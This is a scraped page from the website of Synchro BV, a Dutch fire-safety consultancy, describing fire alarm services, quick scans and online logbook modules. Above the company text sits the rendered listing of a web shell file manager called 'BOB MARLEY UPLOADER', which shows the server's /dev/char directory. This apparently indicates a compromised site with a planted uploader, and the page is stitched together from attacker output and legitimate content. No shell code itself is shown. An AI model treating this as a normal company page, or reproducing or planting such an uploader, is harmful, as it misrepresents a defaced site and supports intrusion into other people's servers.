โ™ฆ BOB MARLEY UPLOADER โ™ฆ

One Love | One Heart | One Upload

Current Dir: /dev/char | [Parent Dir โ†‘]
NameSizeModifiedPerms
โฌ†๏ธ ..DIR2026-07-21 04:100755
๐Ÿ“„ 108:00 B2026-06-29 13:280600
๐Ÿ“„ 10:10 B2026-06-29 13:280600
๐Ÿ“„ 10:1240 B2026-06-29 13:280600
๐Ÿ“„ 10:1250 B2026-06-29 13:280660
๐Ÿ“„ 10:1260 B2026-06-29 13:280600
๐Ÿ“„ 10:1270 B2026-06-29 13:280600
๐Ÿ“„ 10:1830 B2026-06-29 13:280600
๐Ÿ“„ 10:1960 B2026-08-11 04:480666
๐Ÿ“„ 10:2000 B2026-08-11 04:480666
๐Ÿ“„ 10:2230 B2026-06-29 13:280600
๐Ÿ“„ 10:2270 B2026-06-29 13:280600
๐Ÿ“„ 10:2280 B2026-06-29 13:280600
๐Ÿ“„ 10:2290 B2026-08-11 04:480666
๐Ÿ“„ 10:2310 B2026-06-29 13:280600
๐Ÿ“„ 10:2350 B2026-06-29 13:280644
๐Ÿ“„ 10:2360 B2026-06-29 13:280600
๐Ÿ“„ 10:2370 B2026-08-11 04:480660
๐Ÿ“„ 10:2420 B2026-06-29 13:280664
๐Ÿ“„ 116:20 B2026-06-29 13:280660
๐Ÿ“„ 116:30 B2026-06-29 13:280660
๐Ÿ“„ 116:330 B2026-08-11 04:480660
๐Ÿ“„ 116:40 B2026-06-29 13:280660
๐Ÿ“„ 116:50 B2026-06-29 13:280660
๐Ÿ“„ 116:60 B2026-06-29 13:280660
๐Ÿ“„ 13:320 B2026-06-29 13:280660
๐Ÿ“„ 13:330 B2026-06-29 13:280660
๐Ÿ“„ 13:340 B2026-06-29 13:280660
๐Ÿ“„ 13:630 B2026-06-29 13:280660
๐Ÿ“„ 13:640 B2026-06-29 13:280660
๐Ÿ“„ 13:650 B2026-06-29 13:280660
๐Ÿ“„ 13:660 B2026-06-29 13:280660
๐Ÿ“„ 13:670 B2026-06-29 13:280660
๐Ÿ“„ 13:680 B2026-06-29 13:280660
๐Ÿ“„ 14:20 B2026-06-29 13:280660
๐Ÿ“„ 14:90 B2026-06-29 13:280660
๐Ÿ“„ 189:00 B2026-06-29 13:280664
๐Ÿ“„ 189:10 B2026-06-29 13:280664
๐Ÿ“„ 1:10 B2026-06-29 13:280640
๐Ÿ“„ 1:110 B2026-06-29 13:280644
๐Ÿ“„ 1:30 B2026-06-29 13:280666
๐Ÿ“„ 1:40 B2026-06-29 13:280640
๐Ÿ“„ 1:50 B2026-06-29 13:280666
๐Ÿ“„ 1:70 B2026-06-29 13:280666
๐Ÿ“„ 1:80 B2026-06-29 13:280666
๐Ÿ“„ 1:90 B2026-06-29 13:280666
๐Ÿ“„ 203:00 B2026-07-21 04:100600
๐Ÿ“„ 203:10 B2026-07-21 04:100600
๐Ÿ“„ 203:20 B2026-07-21 04:100600
๐Ÿ“„ 203:30 B2026-07-21 04:100600
๐Ÿ“„ 226:00 B2026-06-29 13:280660
๐Ÿ“„ 241:00 B2026-06-29 13:280600
๐Ÿ“„ 248:00 B2026-06-29 13:280600
๐Ÿ“„ 249:00 B2026-06-29 13:280600
๐Ÿ“„ 29:00 B2026-06-29 13:280660
๐Ÿ“„ 4:00 B2026-06-29 13:280620
๐Ÿ“„ 4:10 B2026-06-29 13:280620
๐Ÿ“„ 4:100 B2026-06-29 13:280620
๐Ÿ“„ 4:110 B2026-06-29 13:280620
๐Ÿ“„ 4:120 B2026-06-29 13:280620
๐Ÿ“„ 4:130 B2026-06-29 13:280620
๐Ÿ“„ 4:140 B2026-06-29 13:280620
๐Ÿ“„ 4:150 B2026-06-29 13:280620
๐Ÿ“„ 4:160 B2026-06-29 13:280620
๐Ÿ“„ 4:170 B2026-06-29 13:280620
๐Ÿ“„ 4:180 B2026-06-29 13:280620
๐Ÿ“„ 4:190 B2026-06-29 13:280620
๐Ÿ“„ 4:20 B2026-06-29 13:280620
๐Ÿ“„ 4:200 B2026-06-29 13:280620
๐Ÿ“„ 4:210 B2026-06-29 13:280620
๐Ÿ“„ 4:220 B2026-06-29 13:280620
๐Ÿ“„ 4:230 B2026-06-29 13:280620
๐Ÿ“„ 4:240 B2026-06-29 13:280620
๐Ÿ“„ 4:250 B2026-06-29 13:280620
๐Ÿ“„ 4:260 B2026-06-29 13:280620
๐Ÿ“„ 4:270 B2026-06-29 13:280620
๐Ÿ“„ 4:280 B2026-06-29 13:280620
๐Ÿ“„ 4:290 B2026-06-29 13:280620
๐Ÿ“„ 4:30 B2026-06-29 13:280620
๐Ÿ“„ 4:300 B2026-06-29 13:280620
๐Ÿ“„ 4:310 B2026-06-29 13:280620
๐Ÿ“„ 4:320 B2026-06-29 13:280620
๐Ÿ“„ 4:330 B2026-06-29 13:280620
๐Ÿ“„ 4:340 B2026-06-29 13:280620
๐Ÿ“„ 4:350 B2026-06-29 13:280620
๐Ÿ“„ 4:360 B2026-06-29 13:280620
๐Ÿ“„ 4:370 B2026-06-29 13:280620
๐Ÿ“„ 4:380 B2026-06-29 13:280620
๐Ÿ“„ 4:390 B2026-06-29 13:280620
๐Ÿ“„ 4:40 B2026-06-29 13:280620
๐Ÿ“„ 4:400 B2026-06-29 13:280620
๐Ÿ“„ 4:410 B2026-06-29 13:280620
๐Ÿ“„ 4:420 B2026-06-29 13:280620
๐Ÿ“„ 4:430 B2026-06-29 13:280620
๐Ÿ“„ 4:440 B2026-06-29 13:280620
๐Ÿ“„ 4:450 B2026-06-29 13:280620
๐Ÿ“„ 4:460 B2026-06-29 13:280620
๐Ÿ“„ 4:470 B2026-06-29 13:280620
๐Ÿ“„ 4:480 B2026-06-29 13:280620
๐Ÿ“„ 4:490 B2026-06-29 13:280620
๐Ÿ“„ 4:50 B2026-06-29 13:280620
๐Ÿ“„ 4:500 B2026-06-29 13:280620
๐Ÿ“„ 4:510 B2026-06-29 13:280620
๐Ÿ“„ 4:520 B2026-06-29 13:280620
๐Ÿ“„ 4:530 B2026-06-29 13:280620
๐Ÿ“„ 4:540 B2026-06-29 13:280620
๐Ÿ“„ 4:550 B2026-06-29 13:280620
๐Ÿ“„ 4:560 B2026-06-29 13:280620
๐Ÿ“„ 4:570 B2026-06-29 13:280620
๐Ÿ“„ 4:580 B2026-06-29 13:280620
๐Ÿ“„ 4:590 B2026-06-29 13:280620
๐Ÿ“„ 4:60 B2026-06-29 13:280620
๐Ÿ“„ 4:600 B2026-06-29 13:280620
๐Ÿ“„ 4:610 B2026-06-29 13:280620
๐Ÿ“„ 4:620 B2026-06-29 13:280620
๐Ÿ“„ 4:630 B2026-06-29 13:280620
๐Ÿ“„ 4:640 B2026-06-29 13:280660
๐Ÿ“„ 4:650 B2026-06-29 13:280660
๐Ÿ“„ 4:660 B2026-06-29 13:280660
๐Ÿ“„ 4:670 B2026-06-29 13:280660
๐Ÿ“„ 4:680 B2026-06-29 13:280660
๐Ÿ“„ 4:690 B2026-06-29 13:280660
๐Ÿ“„ 4:70 B2026-06-29 13:280620
๐Ÿ“„ 4:700 B2026-06-29 13:280660
๐Ÿ“„ 4:710 B2026-06-29 13:280660
๐Ÿ“„ 4:720 B2026-06-29 13:280660
๐Ÿ“„ 4:730 B2026-06-29 13:280660
๐Ÿ“„ 4:740 B2026-06-29 13:280660
๐Ÿ“„ 4:750 B2026-06-29 13:280660
๐Ÿ“„ 4:760 B2026-06-29 13:280660
๐Ÿ“„ 4:770 B2026-06-29 13:280660
๐Ÿ“„ 4:780 B2026-06-29 13:280660
๐Ÿ“„ 4:790 B2026-06-29 13:280660
๐Ÿ“„ 4:80 B2026-06-29 13:280620
๐Ÿ“„ 4:800 B2026-06-29 13:280660
๐Ÿ“„ 4:810 B2026-06-29 13:280660
๐Ÿ“„ 4:820 B2026-06-29 13:280660
๐Ÿ“„ 4:830 B2026-06-29 13:280660
๐Ÿ“„ 4:840 B2026-06-29 13:280660
๐Ÿ“„ 4:850 B2026-06-29 13:280660
๐Ÿ“„ 4:860 B2026-06-29 13:280660
๐Ÿ“„ 4:870 B2026-06-29 13:280660
๐Ÿ“„ 4:880 B2026-06-29 13:280660
๐Ÿ“„ 4:890 B2026-06-29 13:280660
๐Ÿ“„ 4:90 B2026-06-29 13:280620
๐Ÿ“„ 4:900 B2026-06-29 13:280660
๐Ÿ“„ 4:910 B2026-06-29 13:280660
๐Ÿ“„ 4:920 B2026-06-29 13:280660
๐Ÿ“„ 4:930 B2026-06-29 13:280660
๐Ÿ“„ 4:940 B2026-06-29 13:280660
๐Ÿ“„ 4:950 B2026-06-29 13:280660
๐Ÿ“„ 5:00 B2026-06-29 13:280666
๐Ÿ“„ 5:10 B2026-06-29 13:280600
๐Ÿ“„ 5:20 B2026-08-24 13:210666
๐Ÿ“„ 5:30 B2026-06-29 13:280600
๐Ÿ“„ 7:00 B2026-06-29 13:280660
๐Ÿ“„ 7:10 B2026-06-29 13:280660
๐Ÿ“„ 7:1280 B2026-06-29 13:280660
๐Ÿ“„ 7:1290 B2026-06-29 13:280660
๐Ÿ“„ 7:1300 B2026-06-29 13:280660
๐Ÿ“„ 7:1310 B2026-06-29 13:280660
๐Ÿ“„ 7:1320 B2026-06-29 13:280660
๐Ÿ“„ 7:1330 B2026-06-29 13:280660
๐Ÿ“„ 7:1340 B2026-06-29 13:280660
๐Ÿ“„ 7:20 B2026-06-29 13:280660
๐Ÿ“„ 7:30 B2026-06-29 13:280660
๐Ÿ“„ 7:40 B2026-06-29 13:280660
๐Ÿ“„ 7:50 B2026-06-29 13:280660
๐Ÿ“„ 7:60 B2026-06-29 13:280660
๐Ÿ“„ 7:640 B2026-06-29 13:280660
๐Ÿ“„ 7:650 B2026-06-29 13:280660
๐Ÿ“„ 7:660 B2026-06-29 13:280660
๐Ÿ“„ 7:670 B2026-06-29 13:280660
๐Ÿ“„ 7:680 B2026-06-29 13:280660
๐Ÿ“„ 7:690 B2026-06-29 13:280660
๐Ÿ“„ 7:700 B2026-06-29 13:280660
๐Ÿ“„ 89:00 B2026-06-29 13:280600
Powered by BOB MARLEY | One Love
Synchro | Project Engineering

Innovatie door

creativiteit en expertise

Synchro BV inspecteert, adviseert en realiseert sinds 1995 hard- en softwarevoorzieningen op het gebied van bouwkundige-, installatietechnische- en organisatorische (brandveiligheids)maatregelen. Bij Synchro vindt u alle diensten onder รฉรฉn telefoonnummer.

Projecten

LogboekenOnline BV

 

Synchro bedenkt nieuwe oplossingen waar anderen blijven vasthouden aan behaalde resultaten in het verleden. Synchro wint om die reden, met LogboekenOnlineยฎ, als Best Practice, de Nationale Innovatieprijs Brandveiligheid 2013!

 

Module Legionellabeheer

 

In samenwerking met LogboekenOnline BV heeft Synchro de Module Legionellabeheer ontwikkeld. Hiermee is het mogelijk om beheerstaken gelijktijdig actueel te houden en spoel je eenvoudig met een BlueTooth thermometer!

 

Module Liftinstallaties

 

In samenwerking met een liftbedrijf, de TรœV en LogboekenOnlineยฎ heeft Synchro een compleet online liftlogboek ontwikkeld. De module geeft automatisch, in รฉรฉn overzicht aan wanneer onderhoud- en of inspectietermijnen naderen.

Brandveilig Ondernemen

 

Synchro heeft voor de Gemeente Houten een online dienst ontwikkeld waarmee, op basis van de inschrijving Kamer van Koophandel een online risico-inventarisatie kan worden uitgevoerd.

 

Passie voor (brand)veiligheid

Synchro werkt voor architecten, aannemers, projectontwikkelaars, facilitair managers, zorgmanagers, gebouweigenaren, woningcorporaties, zorginstellingen, onderwijsinstellingen en overheden als het gaat om brandveiligheidsvraagstukken.

Door onze kennis en ervaring in het brandweerveld spreken en verstaan wij de taal van ontwerpers, uitvoerders en het bevoegd gezag. We weten wat moet, kan, en mogelijk is en kennen de (on)mogelijkheden van de brandweer bij een inzet. Wij zijn gedreven door onze passie voor het vak en onderscheiden ons door onze persoonlijke werkwijze en risicogerichte benadering van brandveiligheid. Wij zijn deskundig, oplossingsgericht, accuraat en onafhankelijk.

Kostenbesparend advies

In een gebouw zijn veel voorzieningen aanwezig die nodig zijn voor mensen om daar te kunnen verblijven. Denk hierbij aan verwarmingsinstallaties, luchtbehandeling, verlichting en liften. Op grond van wet- en regelgeving zijn er vaak voorzieningen aanwezig zijn om de veiligheid te verhogen zoals brandmeldinstallaties, nood- en vluchtwegverlichting en blusmiddelen.

De noodzaak voor de aanwezigheid van veiligheidsvoorzieningen is afhankelijk van de gebruiksfunctie van het gebouw en de zelfredzaamheid van de mensen die daar kunnen verblijven.

Het adequaat onderhouden van deze voorzieningen kost veel geld en soms zijn ze niet verplicht, in overvloed aanwezig of overbodig. Een gebouwscan op basis van risicobenadering en regelgeving kan in veel gevallen leiden tot een reductie in onderhoudskosten waarbij Synchro u kan helpen.

Brandmeldsystemen

De aanwezigheid van een brandmeld- en ontruimingsalarminstallatie wordt bepaald op basis van het gebruik en de voorschriften van het geldende BB2012/ Omgevingswet BBL 2024.

Een brandmeld- of ontruimingsalarminstallatie kan ook vereist zijn op basis van milieuregelgeving.

In Nederland is dit gebonden aan een uitgebreide wet- en regelgeving. Synchro is samen met haar partners volledig op de hoogte van deze eisen. Synchro werkt daarnaast alleen samen met bedrijven die een KIWA-NCP erkenning hebben als het gaat om brandmeld- en ontruimingsinstallaties. Dan bent u verzekerd van kwaliteit!

 

Van ontwerp tot en met onderhoud bieden wij u de volgende diensten:

 

  • Opstellen Programma van Eisen;
  • Opstellen Nota van Aanvulling;
  • Bouwbegeleiding en begeleiding bij aanleg van de installatie;
  • Verzorgen van certificering;
  • Jaarlijks onderhoud;
  • Maandelijks beheer conform de NEN2654-1/2;
  • 4 en 8 maandelijks beheer conform de NEN2654-1/2;
  • Second opinion na installatie.

Quick Scan Brandveiligheid

Het doel van de Quick Scan Brandveiligheid is de risicoโ€™s van uw organisatie in kaart te brengen op het gebied van brandveiligheid. Er wordt op beknopte wijze inzicht gegeven hoe het staat met de brandveiligheid in een gebouw. Met de resultaten uit de Quick Scan kan direct aan de slag worden gegaan om eventuele knelpunten op te lossen.

 

De onderdelen van de QuickScan bestaan uit:

  • Een steekproefsgewijze visuele inspectie op en beoordeling van de bouwkundige uitvoering van de brandveiligheidsvoorzieningen van het gehele object.
  • Het steekproefsgewijs visueel controleren van de brandbeveiligingsinstallaties en de aanwezige logboeken, onderhoudscontracten en certificaten van deze brandbeveiligingsinstallaties.
  • Het steekproefsgewijs controleren en beoordelen van het brandveilige gebruik.

Werken bij Synchro

Bij Synchro zijn we altijd op zoek naar nieuwe talenten. Ben jij op zoek naar een nieuwe uitdaging en wil je graag kennis met ons maken? Stuur ons dan een sollicitatie via onderstaand formulier. Reageer je op een specifieke openstaande vacature? Vergeet deze dan niet te vermelden.